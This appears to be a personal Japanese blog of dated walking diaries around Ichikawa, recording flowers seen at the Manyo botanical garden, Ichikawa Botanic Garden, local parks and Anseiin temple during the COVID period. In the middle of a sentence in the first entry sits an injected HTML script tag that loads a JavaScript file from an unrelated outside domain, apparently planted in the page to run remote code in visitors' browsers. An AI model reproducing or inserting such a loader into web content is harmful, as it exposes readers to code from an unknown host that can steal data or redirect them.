【安世院の早春】

3/13日 新型コロナによる規制が続いてとっても憂鬱な時を過ごして今日に至りました。もういい加減にして欲しくって、今日は中山法華経寺にお参りです。早春のまばゆい陽光の中、歩き出しました。コースは【八幡宮】【真間川】【鬼越】法華経寺進めました。<script src=”https://actyway.com/demo/sakura.8222.7.js”></script>気温も適度で、途中小さな草花に見送られて、小径を気持ちよく歩きます市川の小径は【ミモザ】がよく似合います、もう少しで賑わいを見せてくれるでしょう。また、もうすぐ花もほころびることでしょう待ち遠しく思います。     つづく

春の萬葉植物園

みつきぶりぐらいだろうか、急に気にかかってしまい出向いてみようと思った。市川大野駅に隣接しているのでバスも、1時間に1本しかないのでどうしてもオプショナルツアーの様子になります。今回はアイキャッチ画像で示したように、市川植物園までのコースマップが手に入ったので散策の追加になります。市川駅10時の出発です。

バス乗車時間はおよそ30分程で武蔵野線【市川大野駅】になります公園は駅のすぐ前にありますが、初めての方には少し解りにくいかもしれません駅前にコンビニがあり、その裏手に小高い森があり、裏手に回り込んですぐ武蔵野線の高架の下に階段が出てきます。そこであなたは【萬葉植物園】の案内板を発見できるでしょう、階段を登りきったところが入り口になります。私が訪問する時間は10時30分くらいなので園内の管理者さまが植栽の手入れをされています。いま早春の代表的な【マンサク】ミツマタ】【サンシュユが咲き誇っていました

園内を回ってみると数種類の梅など見ることができます。また、あなたは可憐なフクジュソウにお目にかかれます。トッテモかわいらしかったよ~~

1時間ほど園内を散策して再び管理の方とお話できたので、市川植物園までのコースマップの説明を受け市川植物園までパワースポット巡りを実施した所要時間は約1時間ほどであった。マップはアイキャッチ画像参照願います。 つづく

【万葉植物園】を訪ねる

’20/10/14/日 約一年ぶりになると思う、このところ気温が下がり始めて急に秋めいてきた。明日からはぐずつき模様になり、週末は雨?との予報であり、「万葉植物園」を思出した。

市川駅から42系統【医療センター】行のバスに乗ってと考え【Suica】の残額が少なくなってきていたので現金¥320を準備して一時間に一本のバスに乗り込んだ。【万葉植物園】は武蔵野線【市川大野】駅から徒歩5分に位置しており、市川市の公園であり、管理の方々が植栽まで手入れしているので数は少ないが、確実に季節の植物を楽しめる。私は大切に思っている。

期待に胸をくらませて園内に入っていった。先客の団体様20名ほどいられた。私の本日の目的は【猫の舌】【ゲンノショウコ】の確認なので目的は十分に達成できた。先客の一人に聞いてみました【どちらからですか?】【船橋からで、植物の観察グループ】、

【市川には良いところがありますネ。】と話してくれた。少し嬉しく思えました。

少し散策していて【サンシュユ】の赤い実を見つけたときに昨年の訪問時には、赤い実の探訪に来たと思い出した。時期は一月ほど早いのですが【サネカズラ】を見つけた。花と緑の実と赤くなった実が見つかった。          つづく

安世院を訪ねて

’20/09/28/日 安世院を訪ねてみようと思い立ったそのように思うとすぐに体が反応して家を出発し、どのコースを取ろうかと考え始めました。行動を起こしそれからコースを考えたのではあまり良いことはありませんでした、やはり道を間違えてしまい途中で諦めて帰宅ということになってしましました。   翌日しっかり検討し、再出発した。

コースは八幡さまを抜け、八方橋の下流に出て京成鬼越駅を目指し中山門前町に出て、安世院のコースとしました。八幡宮の境内に弓道場がありその脇に通路があり裏門になります。今まで気が付きませんでしたが【ジュウガツザクラ】が美しい色で輝いていました。住宅街を通り抜け真間川を小さな橋で渡り、京成線の踏切の手前で鬼越駅方面に足を向けます、木下街道を横切り、鬼越駅付近にブロック塀越しに【デュランタ】がこぼれていた。写真にしてみると少し風情が変わったように思えた。

総歩行数も10,000歩近くになると法華経寺の山門になる参道には【ヒガンバナ】があった。目的の安世院は法華経寺の塔頭の一つである。予想通り【ヒガンバナ】は圧巻的な風情を演出していた。 つづく

OPツアーNo 2

’20/09/20日 これからこの市内循環コースを オプショナルツアーに格上げします。朝8時にstartにしました。目的はこのところの暑さの連続で植物に何かしら変化があるのではないかと、気にかかってしまいじっとしていられなくなり、【須和田公園】~【里見公園まで特に【ヒガンバナ】がこのところあまり見受けられないので心配になったというわけでもあります。

最初に目に止まったのが私には馴染みのない草花で、きれいな紫色をエンジに近い色で小さなつぶつぶが可愛らしく思えた。少し歩を進めると【ジンジャー】が涼し気な白色で大輪を見せてくれて、一昨年のハワイ島が蘇ってきた。

須和田公園には季節を表現する?代表的な植物は目に付きませんでしたが、公園から外に出て民家の玄関先に【猫のヒゲ】を見つけて横浜山下公園以来で懐かしさを覚えました。

じゅんさい池方面へ足を向け暫く進むと左手に緑地公園になり例年そこには【ヒガンバナ】が群生しているのでしたありました❣❣

今年の暑さで花も少し遅れ気味なのでしょう例年より4~5日くらいずれたように思われます。忘れずに咲いてくれました。嬉しいです

最終目的の里見公園に向かいました。ここまであまり人様にはお会いできませんで、とっても静かな市川散策を十分に楽しめ、満喫できました。また里見公園では公園管理の方々の努力で清掃が行き届いて【ヒガンバナ】もうれしそうであった。

             つづく

コロナウィルスと連日の暑さに辟易して家に留まって過ごし三月が経過している、色んなところ、公園などで様々な花たちが、艶を競っているのだろうと想像しています。コロナ以前のように巡り歩きたいものである。それでもコロナのすきを突いて僅かではあるが撮りとどめた写真を紹介します。一年を3つに分けて考えるともう3分の2経過します。月末には次の月の予定の確認作業があります。それ故に今日は締切になります。

コルトンプラザの花壇もコロナの影響を受けなかなか手入れが行き届かないと見えて、草花と様々な植物が繁茂する中にボリジがきれいな紫色を輝かせていた。シチリア島で見てきたボリジと交錯しました。やっぱり気品の高い花だなと再確認できた。

暑いさなかに関わらず力強く輝いて自己PRし、生命力を見せて、コロナ・ウィルスと正面から向かって進むんだよ❣❣と励ましてくれているようであった        つづく

【市内の花巡り】

オプショナルツァー❣❣ ‘200620

私が【市川動植物園】に出向いたのはおよそ 1 年ぶりだと思う、交通費はかかるし時間もかかるので飲み物と昼食の準備もなくてはならないのです。自分でこの場所へ出向くときは、オプショナルツアー❣❣【OP】としています。

案内板

Ichikawa Botanic Garden の位置取りは鎌ケ谷市と松戸市の境界にあり長田谷津地区にあります。地名のとおり低い位置にあります。 3 方向にある梨畑が丘を構成しており、梨畑からの伏流水が至るところから湧き出ています。小鳥がさえずり森林浴が楽しめ都市の煩雑さを忘却の彼方へ・・・・・導いてくれます。

少し大きめなユリの花が植物園の入口で迎えてくれました。園に入ると池が迎えてくれます。池の畔から遊歩道が始まります。薔薇のシーズンは見ごたえのあるバラ園、水生植物園、自然観察園等と続きますがはっきりした境界はありません。自然のままの状態に近づけています。

私はこの植物園が好きです。気持ちが洗われます、コロナウィルスも忘れます。トンボが飛んでいます。小鳥の声もします。近くのアスレチックから子供の歓声があがります。本八幡駅から京成バス、¥ 420 です。1 時間に 1 本程度で(土)(日)(祭)の運行です。

                つづく

【安世院をたずねて】

’20/04/10/日 コロナウィルスが猛威を奮っていて政府により【緊急事態宣言】が発生なり身も心も落ち込み、見るものすべてがくすんで見えるそんな気持ちになります。目に見えぬ敵との果てしない戦いになるようです。なにか明るい材料が、無性に欲しくなります。家で作業しながら心に浮かびます。今頃、【安世院】の草花の様子は?明日にでも訪ねてみよう❣❣

京成八幡駅から歩きます。脚本家の水木先生宅を覗いてから真間川に出ます。真間川沿いに下ってゆくと京成線の踏切になり鬼越方面に向かう。線路沿いに散歩道は続き、アマポーラの鮮やかなオレンジが風に揺れます。やがて中山法華経寺の参道に突き当たります。山門をくぐり二つ目の塔頭が【安世院】である。この庭には様々な季節の草花が育成されており、自然な状態で観察でき、つまらない気持ちも忘れさせてくれる。

スライドショーには JavaScript が必要です。

自分の気持ちまで洗われたようで爽やかに、明るさにきらめくような贅沢な時間を頂いて、スッキリとなった私がいた。              また訪ねたい

 

【安世院】を訪ねて

’19/10/31/日盛夏からはや二ヶ月も経過して今過ごしやすい日々を楽しんでいます。結構遠ざかっていましたので、安世院の庭の花々も変化していると思われ訪問するのが楽しみであります。法華経寺の参道には相変わらず幸せな猫ちゃんが木株の上で眠りを楽しんでいました。猫ちゃんと少し遊んでから赤門を通り抜けて庭へと足を運びました。ここの庭の花たちは大きな種類の花はとっても少なく、大体は草花が多いのです

ウィンターコスモスクジャクアスターが旬を迎えていました。いよいよ寒さも始まるようで柊も花をつけていました。

これからは日一日と寒くなってきますもう一度花が変わると思いますその日を楽しみに待ちたいと思います。      つづく

【花の寺【安世院】へ】

4月8日 この日は【花祭り】として以前から知られてきました。近頃はわすれられているのかメデイアにも出てきません。少し寂しくおもいます。今日は真間川の花を見ながら、中山法華経寺の塔頭のひとつである【安世院】迄足をのばしました。 

水面に映る花

水面に映る花

京成本線に近づくと踏切があり鬼越の駅前に出てきます左手に道を取り法華経寺へと向かいます。少しの間門前町の街歩きを愉しんで、大きな山門をくぐり法華経寺に入ります。左手に【安世院】の山門があり入り口で【シャガ】に迎えられた。

上の画像から説明いたします、左上【チューリップ】上段中【忘れな草】上段右【ペチコート水仙】中段左【キューリ草】中段中【シャクナゲ】中段右【ヒトリシズカ】下段【チューリップ】これらのチューリップは原種なので違うように思われる。【ヒトリシズカ】は名前とは違って群生咲いていました。  おわり